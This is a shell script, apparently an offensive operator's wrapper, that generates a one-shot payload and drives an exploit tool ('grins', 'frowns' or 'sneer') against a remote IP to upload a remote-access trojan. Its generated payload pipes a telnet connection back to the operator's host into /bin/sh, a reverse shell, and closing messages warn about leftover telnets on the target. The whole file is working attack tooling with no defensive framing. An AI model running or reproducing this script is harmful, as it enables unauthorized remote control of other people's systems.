#!/bin/sh

##########################################################
### Generate & run the following script:
### 	- script to upload rat via ratload (oneshot.scr)
### 	- run grins/frowns/whatever using the above script
##########################################################

# Some default values
SCRIPT="/tmp/.t"
DIR="/tmp/.X11R6"
GS_OPTION=frowns
RUN_FILE=nscd
#CALLBACKPORT=

LOCAL_IP_GUESS=`ifconfig -a | grep inet | grep -v grep | grep -v "127\.0\.0\.1" | awk '{print $2}' | cut -d ":" -f 2`

# Show usage and exit
usage() {
    echo ""
#    echo "Before running this script, you first need to run the following:"
#    echo "      nc -l -p localPort < file2Xfer&Run.uu"
#    echo "      (nc must be in your path; it's also run w/in this script)"
#    echo "where file2Xfer&Run.uu is a compressed, uuencoded file."
    echo ""
    echo "Your local IP(s) appears to be:"
    echo $LOCAL_IP_GUESS
    echo ""
    echo "Usage: ${0} [options]"
    echo "  -i <remoteIP>                (required)"
    echo "  -g <grins|frowns|sneer>      def= $GS_OPTION"
    echo "  -l <localIP>                 (required)"
    echo "  -n <localPort>               (required)"
    exit 1
}

# There must be at least three arguments
if [ ${#} -le 2 ]; then
    usage
fi

#
# Process args

echo CommandLine: ${0} ${*}
echo ""

    while getopts g:i:n:l: op; do
	case $op in
	g)  GS_OPTION="$OPTARG";;
	i)  REMOTE_IP="$OPTARG";;
	l)  LOCAL_IP="$OPTARG";;
	n)  LOCAL_PORT="$OPTARG";;
	esac
    done
    cmdFlag="-c"
    shift `expr $OPTIND - 1`

    # Check for required args
    [ -z "$REMOTE_IP" ] && echo "Error: missing remote IP" && usage
    [ -z "$LOCAL_IP" ] && echo "Error: missing local IP" && usage
    [ -z "$LOCAL_PORT" ] && echo "Error: missing local PORT" && usage


#following line is now unused
EXTRA="${*}"


echo "Generating oneshot upload script." 

cat > oneshot.scr << EOF
/sbin/sh -c (telnet $LOCAL_IP $LOCAL_PORT </dev/console | /bin/sh )&
EOF

echo "oneshot script is as follows: "
echo "========"
cat oneshot.scr
echo "========"
echo ""

OOPS=`wc -c oneshot.scr  |awk '{print $1}'`
if [ ! -f "oneshot.scr" -o -z ${OOPS} -o ${OOPS} -ge 254 -o ${OOPS} -le 0 ]; then
  echo "FATAL ERROR: oneshot.scr is either not there or too large"
  exit 1
fi 

echo "You now need to run \"ratload\" in a local window,
using local port $LOCAL_PORT"
echo ""
echo "About to run:  "
echo "  ./${GS_OPTION} ${REMOTE_IP} ./oneshot.scr public "

echo "(Hit return when you've got ratload started)"
read input


echo "now running:  "
echo "  ./${GS_OPTION} ${REMOTE_IP} ./oneshot.scr public "
./${GS_OPTION} ${REMOTE_IP} ./oneshot.scr public

echo "Looking to see if socket is still running locally"
ps -eaf | grep -w socket | grep -v grep


echo "Thank you for playing"

### echo "removing intermediate scripts"
### rm ./gr_upload.scr ./oneshot.scr ./gr_upload.uu 

echo Done.
echo
echo "Don't forget to look for stray telnets running on target."
echo "If there are you are totally hosed because you didn't use ftp."